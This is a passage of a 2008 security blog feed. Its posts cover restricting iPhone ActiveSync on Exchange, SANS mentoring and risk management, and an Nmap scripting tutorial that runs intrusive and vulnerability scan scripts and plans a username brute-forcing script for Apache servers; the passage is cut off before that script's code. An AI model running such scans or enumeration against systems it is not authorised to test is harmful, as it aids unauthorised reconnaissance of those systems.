rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-3840785077954302324.post-2065528607265984808</id><published>2008-07-25T10:26:00.004-04:00</published><updated>2008-07-25T14:17:30.193-04:00</updated><title type='text'>Controlling iPhones in your enterprise</title><content type='html'>&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;iPhone 2.0 is really cool and it will, like all other Microsoft Mobile devices, allow the user to synchronize their email to the device unless you take action to prevent it.   Whether you plan to support the iphone or not you will need to take some steps if you want any control of the devices in your enterprise.   See these arguments in &lt;/span&gt;&lt;a href="http://www.networkworld.com/columnists/2008/061108-cool-tools.html?fsrc=rss-wirelesssec"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;support&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; of the iPhone.  And this organization that suggests &lt;/span&gt;&lt;a href="http://blog.ncircle.com/blogs/sync/archives/2008/07/5_reasons_why_the_iphone_20_is.html"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;not&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; supporting it.  &lt;/span&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;If your not supporting iPhones you have a couple of options.   You can block the requestes based on their User-Agent by using &lt;a href="http://www.isapirewrite.com/"&gt;isapirewrite&lt;/a&gt; as I suggested in an &lt;a href="http://markremark.blogspot.com/2008/04/blocking-blackberry-from-accessing-owa.html"&gt;earlier blog&lt;/a&gt;.   The iPhones USER-AGENT string is  Apple-iPhone/501.347 so your new isapi filters begin to look like this..&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Helvetica"&gt;RewriteEngine  on&lt;/p&gt; &lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Helvetica"&gt;#Block Blackberry, iphones and other smartphones&lt;/p&gt; &lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Helvetica"&gt;RewriteCond %{HTTP:User-Agent}  (?:BWC.Worker.*|BWC.Engine.*|MSFT-SPhone.*|PalmOne-TreoAce.*|AvantGO.*|Apple-iPhone.*) [NC]  &lt;/p&gt; &lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Helvetica"&gt;RewriteRule .? -  [F,L]  &lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;This is a good approach for handling any devices that use WEBDAV or OWA Screen scraping (such as Entourage and Blackberry) to synchronize to handhelds.&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;/span&gt;Alternatively, since the iPhone is a Microsoft ActiveSync device you can block it by disabling ActiveSync on your exchange server.  I will describe that process in this article.&lt;br /&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;If you plan to allow the iPhone but want to control who can use it you will need to make some changes.  By default anyone with iPhone 2.0 software can point their phone at your webmail server and start storing email.     To prevent this from happening you need to set the users &lt;span class="Apple-style-span"  style=" ;font-family:georgia;"&gt;msExchOmaAdminWirelessEnable attribute to a value of 7.  By default its value is NULL which allows all ActiveSync functions.   (Default ALLOW... Thanks Microsoft)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;I like a little control over who is storing corporate emails on mobile devices.   Like minded corporations will need to run a script nightly that disables active sync for new users that are added to your network.  Microsoft has a sample script that will disable active-sync for unconfigured users.   The script takes user objects where the msExchOmaAdminWirelessEnable is NULL (unconfigured) and sets them to a value of 7 which disables ActiveSync.  Download the sample script &lt;a href="http://support.microsoft.com/kb/830188"&gt;here.&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 10.0px Monaco"&gt;&lt;span class="Apple-style-span"  style="font-family:georgia;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;Here is an explanation of the msExchOmaAdminWirelessEnable attribute:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 10.0px Monaco"&gt;&lt;span class="Apple-style-span"  style="font-family:georgia;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;1 (bit 0) = 1 to disable Server Activesync, 0 to enable it&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 10.0px Monaco"&gt;&lt;span class="Apple-style-span"  style="font-family:georgia;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;2 (bit 1) = 1 to disable OMA, 0 to enable it&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 10.0px Monaco"&gt;&lt;span class="Apple-style-span"  style="font-family:georgia;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;4 (bit 2) = 1 to disable Always Up-To-Date (AUTD), 0 to enable it &lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 10.0px Monaco"&gt;&lt;span class="Apple-style-span"  style="font-family:georgia;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;1 + 2 + 4 = 7 = All ActiveSync Features disabled&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;When you want to enable a user you will need to set the value to 0 (ZERO).  A value of 0 (Zero) enables all ActiveSync Functions.    This can be enabled through the Exchange Admin tool on the "EXCHANGE FEATURES" tab.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;If you enable it you will want to consider enabling some security controls.   The iPhone and Microsoft ActiveSync falls short (by a long shot) of the controls you have with Blackberry enterprise.   Most notably in  my opinion is the lack of device encryption.   But you can enable some features such as requiring passwords on the device, inactivity timeouts, wiping the device after a number of failed login attempts and remote "Wipe" of the device.    These policies are set on your exchange server using Microsoft &lt;a href="http://download.microsoft.com/download/0/4/9/049a0e9a-e173-448e-a1a1-059e773927a7/Mobile%20Messaging%20with%20Exchange%20ActiveSync.doc"&gt;Tools&lt;/a&gt;.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;You can also try the &lt;a href="http://www.apple.com/support/downloads/iphoneconfigurationutility10formacosx.html"&gt;Apple utilit&lt;/a&gt;y, but it lacks central enforcement and users can simply choose not to use it.  It is more of a configuration convenience than a security policy enforcement tool.  If you try to use that tool, but do not address the fundamental problem of ActiveSync being enabled by default for everyone, then users can simply point to your web server and ignore your Apple XML based configuration.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Note "Wipe" is in quotes.  If you "Wipe" the device using the ActiveSync functions built into exchange it appears to just put the device in recovery mode requiring the reinstallation of the iPhone software.   I somewhat doubt that this actually wipes the device.   It will be interesting to check that out after I get dd on my 2.0 phone.  &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I also found it interesting that once the "WIPE" command is sent from Exchange, it continues to send the command until you tell it to stop.    This will put iPhone users in a circular loop of Wipe, Reinstall,  Restore backup (which contains Exchange settings), and the phone is IMMEDIATELY wiped again if they have PUSH email enabled.    The users only choice is to setup the iPhone as a new device and not restore that backup again.   &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3840785077954302324-2065528607265984808?l=www.indepthdefense.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/2065528607265984808'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/2065528607265984808'/><link rel='alternate' type='text/html' href='http://www.indepthdefense.com/2008/07/controlling-iphones-in-your-enterprise.html' title='Controlling iPhones in your enterprise'/><author><name>&lt;b&gt;Jesus Freak, Security Nerd &lt;/b&gt;</name><uri>http://www.blogger.com/profile/17506248363186095351</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-3840785077954302324.post-2127415153203314166</id><published>2008-07-09T14:20:00.002-04:00</published><updated>2008-07-09T14:25:29.226-04:00</updated><title type='text'>Mentoring another SANS class</title><content type='html'>Last year I mentored SANS 504 and had a great time.   I really enjoy meeting new security people and learning about the challenges they face.   This year I am going to mentor SANS 401 and I am really looking forward to it.   The best part is, our Augusta ISSA chapter will be the first to participate in a new SANS program which will offer the course at a considerable discount to ISSA members.  I hope we have a great class and good turn out from our ISSA chapter.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;http://www.sans.org/mentor/details.php?nid=13298&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3840785077954302324-2127415153203314166?l=www.indepthdefense.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/2127415153203314166'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/2127415153203314166'/><link rel='alternate' type='text/html' href='http://www.indepthdefense.com/2008/07/mentoring-another-sans-class.html' title='Mentoring another SANS class'/><author><name>&lt;b&gt;Jesus Freak, Security Nerd &lt;/b&gt;</name><uri>http://www.blogger.com/profile/17506248363186095351</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-3840785077954302324.post-8696726640372671248</id><published>2008-07-06T23:15:00.003-04:00</published><updated>2008-07-06T23:27:41.089-04:00</updated><title type='text'>Security is Risk Management</title><content type='html'>&lt;div&gt;I just came across this picture.   It is a great reminder to security professionals to set priorities and focus on the high risk items.    Don't focus your attention on reducing your screen saver time-outs from 30 minutes to 15 minutes if your using telnet on your financial systems.   Remember, calculate your SLE (Single Loss Expectancy) based upon the value of the assets and the vulnerability.  Calculate your ALE (Annual Loss Expectancy) based upon the likelihood the threat will manifest itself.   Then address the issues that really pose the greatest threat to your organization.   &lt;span class="Apple-style-span" style="font-weight: bold;"&gt;Don't focus on the Jackhammer noise and overlook the cigarette in your mouth.   &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_wHrCn3UcXN0/SHGKbXnri8I/AAAAAAAAACQ/T9XupcTEoKA/s1600-h/Risk-Management-Prioritize.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_wHrCn3UcXN0/SHGKbXnri8I/AAAAAAAAACQ/T9XupcTEoKA/s400/Risk-Management-Prioritize.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5220105645900663746" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3840785077954302324-8696726640372671248?l=www.indepthdefense.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/8696726640372671248'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/8696726640372671248'/><link rel='alternate' type='text/html' href='http://www.indepthdefense.com/2008/07/security-is-risk-management.html' title='Security is Risk Management'/><author><name>&lt;b&gt;Jesus Freak, Security Nerd &lt;/b&gt;</name><uri>http://www.blogger.com/profile/17506248363186095351</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_wHrCn3UcXN0/SHGKbXnri8I/AAAAAAAAACQ/T9XupcTEoKA/s72-c/Risk-Management-Prioritize.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-3840785077954302324.post-7697423709965730456</id><published>2008-06-25T19:25:00.005-04:00</published><updated>2008-06-26T16:14:23.705-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='http://bp0.blogger.com/_wHrCn3UcXN0/SGPSOmT1HQI/AAAAAAAAABg/XmGXdzXGK3E/s1600-h/Picture+4.jpg'/><title type='text'>First Stab at NSE Scripting</title><content type='html'>&lt;p class="MsoNormal"&gt;Over the weekend I decided to take my first look at the NMAP scripting engine.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;I’ve read about it, but had not really tried it until now.&lt;span style="mso-spacerun:yes"&gt;  &lt;/span&gt;First, here is how to use the built in scripts.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;First make sure you have the latest scripts.&lt;span style="mso-spacerun: yes"&gt;   &lt;/span&gt;Similar to NIKTO and other vulnerability scanning systems NMAP has the ability to update its detection scripts.&lt;span style="mso-spacerun: yes"&gt;   &lt;/span&gt;To update your scripts type this;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;nmap --script-updatedb&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;This will download the latest .NSE scripts from the nmap site.&lt;span style="mso-spacerun: yes"&gt;   &lt;/span&gt;The scripts (by default) are located in /usr/local/share/nmap/scripts.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;Here is the list of scripts as of today:&lt;/p&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://3.bp.blogspot.com/_wHrCn3UcXN0/SGP4NBx1pCI/AAAAAAAAACA/P-dvOsTHsGw/s400/Picture+6.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5216285696124625954" /&gt;&lt;p class="MsoNormal"&gt;You can run ALL of these scripts against a host like this…&lt;/p&gt;&lt;p class="MsoNormal"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;Macintosh:scripts mark.baggett$ nmap localhost -n --script all&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="mso-spacerun:yes"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;     &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;Starting Nmap 4.65 ( http://nmap.org ) at 2008-06-20 10:44 EDT&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;Interesting ports on 127.0.0.1:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;PORT&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;   &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;STATE SERVICE&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;80/tcp open&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;http&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;|_ HTML title: Test Page for Apache Installation&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;Nmap done: 1 IP address (1 host up) scanned in 42.216 seconds&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;-n&lt;span style="mso-spacerun: yes"&gt;   &lt;/span&gt;: says do not do an DNS query&lt;/p&gt;&lt;p class="MsoNormal"&gt;--script all : tells it to run all the scripts against the host&lt;/p&gt;&lt;p class="MsoNormal"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;The scripts themselves tell nmap which ports they are applicable to.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;So any scripts related to PORT 25 (smtp) will not run on a host unless port 25 is open for that host.&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;You can also pass a script CATEGORY and nmap will run all of the scripts in that category.&lt;span style="mso-spacerun: yes"&gt;   &lt;/span&gt;Categories include SAFE, DEMO, INTRUSIVE, DISCOVERY, VULERABILTY, VERSION and BACKDOOR&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;So...&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;Nmap –sS –P0 –n –script INTRUSIVE, VULNERABILITY localhost&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;Will run all the scripts that have been classified by the script author as “INTRUSIVE” and run all of the scripts that have been categorized as VULNERABILTY against hosts which have the applicable ports open&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;You can get more information on a script by looking at its sourcce.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;For example:&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Cat /usr/local/share/nmap/scripts/robots.nse will show you the script that displays disallowed entries from the robots.txt file on web servers.&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;That’s all good, but I want to try my own scripts.&lt;span style="mso-spacerun: yes"&gt;    &lt;/span&gt;NMAP uses a LUA interpreter to process its scripts.&lt;span style="mso-spacerun:yes"&gt;   &lt;/span&gt;I’d never heard of LUA, but it looks pretty intuitive so I thought I’d give it a go.&lt;span style="mso-spacerun:yes"&gt;    &lt;/span&gt;I figured I’d write a script that would look for Apache servers with the USERDIR directory&lt;/p&gt;&lt;p class="MsoNormal"&gt; enabled, then brute force the usernames off of the system.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;In writing it I found it was easier to use the LUA interpreter built into my Powerbook (as a result of the NMAP install??) rather than repeatedly running it through NMAP.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;But since my scripts would use functions defined in nmap I needed to be in the /usr/local/share/nmap/nselib directory when I ran the script.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;For example …&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;Macintosh:nselib mark.baggett$ pwd&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;/usr/local/share/nmap/nselib&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;Macintosh:nselib mark.baggett$ lua ~/HTTPApacheUsers2.txt&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;BUT there is one important thing to do when debugging your scripts using the LUA interpreter rather than running the code through nmap.&lt;span style="mso-spacerun: yes"&gt;   &lt;/span&gt;Nmap calls the following section of code when it determines the script needs to be run.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;This is the MAIN function of your nmap script.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;But LUA doesn’t have a concept of MAIN.&lt;span style="mso-spacerun: yes"&gt;   &lt;/span&gt;So for testing in LUA you will want to comment out the function header and footer with a double dash (--) and statically set the parameters to your function.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;For example&lt;span style="mso-spacerun:yes"&gt; &lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;This:&lt;span style="mso-spacerun: yes"&gt; &lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style=""&gt;&lt;span class="Apple-style-span" style=""&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;action = function(host, port)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-indent:.5in"&gt;&lt;span class="Apple-style-span" style=""&gt;&lt;span class="Apple-style-span" style=""&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;-- do stuff here&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="text-indent:.5in"&gt;&lt;span class="Apple-style-span" style=""&gt;&lt;span class="Apple-style-span" style=""&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;return output&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style=""&gt;&lt;span class="Apple-style-span" style=""&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Becomes this:&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style=""&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;--action = function(host, port)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-indent:.5in"&gt;&lt;span class="Apple-style-span" style=""&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;host = BLA.Com&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="text-indent:.5in"&gt;&lt;span class="Apple-style-span" style=""&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;port = 90&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="text-indent:.5in"&gt;&lt;span class="Apple-style-span" style=""&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;-- do stuff here&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-indent:.5in"&gt;&lt;span 